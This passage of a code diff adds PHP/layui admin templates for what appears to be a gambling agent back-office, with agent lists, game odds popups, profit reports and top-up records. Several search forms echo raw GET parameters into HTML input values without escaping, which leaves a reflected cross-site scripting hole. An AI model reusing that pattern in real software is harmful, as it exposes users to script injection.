<th>最近上分</th>
|
||||
<th>商户余额</th>
|
||||
<th>洗码率(%)</th>
|
||||
<th>占成(%)</th>
|
||||
<th>创建日期</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="user_del_list" item="vo"}
|
||||
<tr>
|
||||
<td>
|
||||
<div class="layui-unselect layui-form-checkbox delete-id" lay-skin="primary" user-id='{$vo.id}'><i class="layui-icon"></i></div>
|
||||
</td>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.reg_time}</td>
|
||||
<td class="td-manage">
|
||||
<a onclick="agent_recover(this,'{$vo.id}')" href="javascript:;">
|
||||
恢复
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$user_del_list->render()}
|
||||
<!--<div class="page">-->
|
||||
<!--<div>-->
|
||||
<!--<a class="prev" href=""><<</a>-->
|
||||
<!--<a class="num" href="">1</a>-->
|
||||
<!--<span class="current">2</span>-->
|
||||
<!--<a class="num" href="">3</a>-->
|
||||
<!--<a class="num" href="">489</a>-->
|
||||
<!--<a class="next" href="">>></a>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
</div>
|
||||
<script>
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/*用户-删除*/
|
||||
function agent_recover(obj, id) {
|
||||
layer.confirm('确认要恢复吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('恢复用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/agent/agent_recover',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/* 删除多个会员 */
|
||||
function recoverAll() {
|
||||
layer.confirm('确认要恢复吗?', function () {
|
||||
var user_ids = new Array;
|
||||
$('.delete-id').each(function(){
|
||||
if($(this).hasClass('layui-form-checked')){
|
||||
user_ids.push($(this).attr('user-id'));
|
||||
}
|
||||
});
|
||||
|
||||
// 发送数据给后台进行删除
|
||||
var query = new Object;
|
||||
query.user_ids = JSON.stringify(user_ids);
|
||||
var result = ajax('/agent/agent_recover_more',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1,time:1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,50 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">代理列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">用户名</th>
|
||||
<th style="text-align: center;">联系人</th>
|
||||
<th style="text-align: center;">代理类型</th>
|
||||
<th style="text-align: center;">上级代理</th>
|
||||
<th style="text-align: center;">投注方式</th>
|
||||
<th style="text-align: center;">最近上分</th>
|
||||
<th style="text-align: center;">商户余额</th>
|
||||
<th style="text-align: center;">洗码率(%)</th>
|
||||
<th style="text-align: center;">占成(%)</th>
|
||||
<th style="text-align: center;">创建日期</th>
|
||||
<th style="text-align: center;">状态</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.agent_level_msg}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.bet_type}</td>
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.reg_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td>正常</td>
|
||||
{else}
|
||||
<td>锁定中</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,269 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:40%; border-left:none; text-align:right;}
|
||||
.alert-main td{border-right:none; }
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">代理列表</a>
|
||||
<?php if($user_info['role'] == 0) : ?>
|
||||
<a href="javascript:;" class="list-two" data-id="2">代理添加</a>
|
||||
<?php endif; ?>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/agent/index" method="get">
|
||||
<?php if(isset($get['id']) && $get['id'] > 0) : ?>
|
||||
<?php else : ?>
|
||||
<input type="text" name="username" id="username" placeholder="请输入总代理的用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<?php endif; ?>
|
||||
<!--<span class="layui-btn" id="export">导出 excel</span>-->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>联系人</th>
|
||||
<th>上级代理</th>
|
||||
<th>投注方式</th>
|
||||
<th>最近上分</th>
|
||||
<th>商户余额</th>
|
||||
<th>百/龙/牛/三卡 码率(%)</th>
|
||||
<th>占成(%)</th>
|
||||
<th>日赢上限</th>
|
||||
<th>赔率</th>
|
||||
<th>创建日期</th>
|
||||
<th>操作</th>
|
||||
<th>查看</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td><a href="javascript:;" class="relation" onclick="x_admin_show('关系结构','/index/relation?id={$vo.id}',400,500)">{$vo.username}</a></td>
|
||||
<td>{$vo.nickname}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}</td>
|
||||
{else}
|
||||
<td>-</td>
|
||||
{/if}
|
||||
<td>{$vo.bet_type}</td>
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.ximalv}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.win_limit}</td>
|
||||
<th>
|
||||
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n0-n6="{$vo.price_n0_n6}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}" price-tc-n1="{$vo.price_tc_n1}" price-tc-n2="{$vo.price_tc_n2}" price-tc-n3="{$vo.price_tc_n3}" price-tc-n4="{$vo.price_tc_n4}" price-tc-n5="{$vo.price_tc_n5}" price-tc-n6="{$vo.price_tc_n6}" price-tc-n7="{$vo.price_tc_n7}" price-tc-n8="{$vo.price_tc_n8}" price-tc-n9="{$vo.price_tc_n9}" price-tc-nn="{$vo.price_tc_nn}" price-tc-bz="{$vo.price_tc_bz}" price-tc-ths="{$vo.price_tc_ths}" price-tc-hjths="{$vo.price_tc_hjths}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
|
||||
</a>
|
||||
</th>
|
||||
<td>{$vo.reg_time}</td>
|
||||
<td class="td-manage">
|
||||
<a href="/agent/agent_edit?agent_id={$vo.id}"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span></a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span></a>
|
||||
</td>
|
||||
<td style="color: red;">
|
||||
<?php if($vo['agent'] == 1) : ?>
|
||||
<span ><a href="/agent/index?id={$vo.id}" style="color: #1E9FFF;">查看下级</a></span>
|
||||
<?php endif; ?>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$agent_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_price">
|
||||
<div class="alert-title" id="show_price_username"></div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
|
||||
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
|
||||
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
|
||||
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
|
||||
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
|
||||
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
|
||||
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
|
||||
<tr><th>押无牛-牛6赔率:</th><td id="show_price_n0_n6"></td></tr>
|
||||
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
|
||||
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
|
||||
<tr><th>押牛一赔率(三卡):</th><td id="show_price_tc_n1"></td></tr>
|
||||
<tr><th>押牛二赔率(三卡):</th><td id="show_price_tc_n2"></td></tr>
|
||||
<tr><th>押牛三赔率(三卡):</th><td id="show_price_tc_n3"></td></tr>
|
||||
<tr><th>押牛四赔率(三卡):</th><td id="show_price_tc_n4"></td></tr>
|
||||
<tr><th>押牛五赔率(三卡):</th><td id="show_price_tc_n5"></td></tr>
|
||||
<tr><th>押牛六赔率(三卡):</th><td id="show_price_tc_n6"></td></tr>
|
||||
<tr><th>押牛七赔率(三卡):</th><td id="show_price_tc_n7"></td></tr>
|
||||
<tr><th>押牛八赔率(三卡):</th><td id="show_price_tc_n8"></td></tr>
|
||||
<tr><th>押牛九赔率(三卡):</th><td id="show_price_tc_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率(三卡):</th><td id="show_price_tc_nn"></td></tr>
|
||||
<tr><th>押豹子赔率(三卡):</th><td id="show_price_tc_bz"></td></tr>
|
||||
<tr><th>押同花顺赔率(三卡):</th><td id="show_price_tc_ths"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/agent/index';
|
||||
if(id == "2") location.href = '/agent/agent_add';
|
||||
});
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/agent/agent_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/agent/index?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
});
|
||||
|
||||
// 显示用户的赔率
|
||||
function showPrice(obj){
|
||||
// 获取赔率数据
|
||||
var price_username = $(obj).attr('price-username');
|
||||
var price_banker = $(obj).attr('price-banker');
|
||||
var price_player = $(obj).attr('price-player');
|
||||
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
|
||||
var price_pair = $(obj).attr('price-pair');
|
||||
var price_dragon = $(obj).attr('price-dragon');
|
||||
var price_tiger = $(obj).attr('price-tiger');
|
||||
var price_tie_dt = $(obj).attr('price-tie-dt');
|
||||
var price_n0_n6 = $(obj).attr('price-n0-n6');
|
||||
var price_n7_n9 = $(obj).attr('price-n7-n9');
|
||||
var price_nn = $(obj).attr('price-nn');
|
||||
var price_5n = $(obj).attr('price-5n');
|
||||
var price_tc_n1 = $(obj).attr('price-tc-n1');
|
||||
var price_tc_n2 = $(obj).attr('price-tc-n2');
|
||||
var price_tc_n3 = $(obj).attr('price-tc-n3');
|
||||
var price_tc_n4 = $(obj).attr('price-tc-n4');
|
||||
var price_tc_n5 = $(obj).attr('price-tc-n5');
|
||||
var price_tc_n6 = $(obj).attr('price-tc-n6');
|
||||
var price_tc_n7 = $(obj).attr('price-tc-n7');
|
||||
var price_tc_n8 = $(obj).attr('price-tc-n8');
|
||||
var price_tc_n9 = $(obj).attr('price-tc-n9');
|
||||
var price_tc_nn = $(obj).attr('price-tc-nn');
|
||||
var price_tc_bz = $(obj).attr('price-tc-bz');
|
||||
var price_tc_ths = $(obj).attr('price-tc-ths');
|
||||
var price_tc_hjths = $(obj).attr('price-tc-hjths');
|
||||
|
||||
// 显示赔率数据
|
||||
$('#show_price_username').html(price_username+" 的赔率");
|
||||
$('#show_price_banker').html(price_banker);
|
||||
$('#show_price_player').html(price_player);
|
||||
$('#show_price_tie_baccarat').html(price_tie_baccarat);
|
||||
$('#show_price_pair').html(price_pair);
|
||||
$('#show_price_dragon').html(price_dragon);
|
||||
$('#show_price_tiger').html(price_tiger);
|
||||
$('#show_price_tie_dt').html(price_tie_dt);
|
||||
$('#show_price_n0_n6').html(price_n0_n6);
|
||||
$('#show_price_n7_n9').html(price_n7_n9);
|
||||
$('#show_price_nn').html(price_nn);
|
||||
$('#show_price_5n').html(price_5n);
|
||||
$('#show_price_tc_n1').html(price_tc_n1);
|
||||
$('#show_price_tc_n2').html(price_tc_n2);
|
||||
$('#show_price_tc_n3').html(price_tc_n3);
|
||||
$('#show_price_tc_n4').html(price_tc_n4);
|
||||
$('#show_price_tc_n5').html(price_tc_n5);
|
||||
$('#show_price_tc_n6').html(price_tc_n6);
|
||||
$('#show_price_tc_n7').html(price_tc_n7);
|
||||
$('#show_price_tc_n8').html(price_tc_n8);
|
||||
$('#show_price_tc_n9').html(price_tc_n9);
|
||||
$('#show_price_tc_nn').html(price_tc_nn);
|
||||
$('#show_price_tc_bz').html(price_tc_bz);
|
||||
$('#show_price_tc_ths').html(price_tc_ths);
|
||||
$('#show_price_tc_hjths').html(price_tc_hjths);
|
||||
|
||||
$('#alert_price').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,160 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.layui-table td, .layui-table th {padding: 5px 4px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<div class="layui-form layui-col-md12 x-so float-left">
|
||||
<div class="layui-input-block" style="width: 300px;">
|
||||
<select name="zd_agent" id="zd_agent" lay-ignore style="height: 38px;line-height: 38px;font-size: 12px;padding: 0px 0px;">
|
||||
<option value="0" selected>请选择总代</option>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<option value={$vo.id} >{$vo.username}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="">
|
||||
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="">
|
||||
|
||||
<div class="layui-btn" lay-submit="" lay-filter="sreach" onclick="get_profit()"><i class="layui-icon"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
<table class="layui-table" style="width: 90%;margin: 0 auto;margin-top: 15px;font-size: 14px;">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td style="width: 40%">总上下水</td>
|
||||
<td style="width: 60%" id="bet_win_total">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>归属总代上下水</td>
|
||||
<td id="zs_bet_win_total">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>总押</td>
|
||||
<td id="bet_amount">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>码量</td>
|
||||
<td id="maliang">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>玩家数量</td>
|
||||
<td id="bet_play_num">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>幸运玩家</td>
|
||||
<td id="lucky_palyer">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>悲催玩家</td>
|
||||
<td id="fucking_player">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>百家乐总赢</td>
|
||||
<td id="baccarat_win_towal">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>三卡总赢</td>
|
||||
<td id="tk_win_towal">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>牛牛总赢</td>
|
||||
<td id="nn_win_towal">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>龙虎总赢</td>
|
||||
<td id="dt_win_towal">-</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>总收益</td>
|
||||
<td id="total_profit">-</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
function get_profit(){
|
||||
var zd_agent = $('#zd_agent option:selected').val();
|
||||
var start_time = $('#start').val();
|
||||
var end_time = $('#end').val();
|
||||
if(zd_agent == 0){
|
||||
layer.msg('请选择总代');
|
||||
return false;
|
||||
}
|
||||
if(!start_time){
|
||||
layer.msg('请选择开始时间');
|
||||
return false;
|
||||
}
|
||||
if(!end_time){
|
||||
layer.msg('请选择结束时间');
|
||||
return false;
|
||||
}
|
||||
var index = layer.load(1, {
|
||||
shade: [0.3,'#000'] //0.1透明度的白色背景
|
||||
});
|
||||
$.ajax({
|
||||
url:'/agent/get_profit',
|
||||
data:{zd_agent:zd_agent,start_time:start_time,end_time:end_time},
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
layer.close(index);
|
||||
if(data.code == 0){
|
||||
layer.msg(data.msg);
|
||||
}else{
|
||||
var return_data = data.data;
|
||||
$('#bet_win_total').html(return_data.bet_win_total);
|
||||
$('#zs_bet_win_total').html(return_data.zs_bet_win_total);
|
||||
$('#maliang').html(return_data.maliang);
|
||||
$('#bet_amount').html(return_data.bet_amount);
|
||||
$('#bet_play_num').html(return_data.bet_play_num);
|
||||
$('#baccarat_win_towal').html(return_data.baccarat_win_towal);
|
||||
$('#dt_win_towal').html(return_data.dt_win_towal);
|
||||
$('#nn_win_towal').html(return_data.nn_win_towal);
|
||||
$('#tk_win_towal').html(return_data.tk_win_towal);
|
||||
$('#lucky_palyer').html(return_data.lucky_palyer);
|
||||
$('#fucking_player').html(return_data.fucking_player);
|
||||
$('#total_profit').html(return_data.total_profit);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,158 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">代理上下分记录列表</a>
|
||||
<?php if($user_info['role'] == 0 || $user_info['role'] == 3) : ?>
|
||||
<a href="javascript:;" class="list-two" data-id="2">代理上下分记录添加</a>
|
||||
<?php endif; ?>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/agent/scores" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="agent_or_admin" id="agent_or_admin">
|
||||
<option value="">全部上下分记录</option>
|
||||
<option value="1" <?php if(isset($get['agent_or_admin']) && $get['agent_or_admin'] == 1) {echo 'selected';} ?>>查询总台给总代理上下分记录</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-input-block" >
|
||||
<select name="mode" id="mode">
|
||||
<option value="-1" selected>操作类型</option>
|
||||
<option value="1" <?php if(isset($get['mode']) && $get['mode'] == 1) {echo 'selected';} ?>>上分</option>
|
||||
<option value="2" <?php if(isset($get['mode']) && $get['mode'] == 2) {echo 'selected';} ?>>下分</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>账号</th>
|
||||
<th>联系人</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作金额</th>
|
||||
<th>操作人</th>
|
||||
<th>操作前余额</th>
|
||||
<th>余额</th>
|
||||
<th>创建日期</th>
|
||||
<th>备注</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="scoresList" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username_for}</td>
|
||||
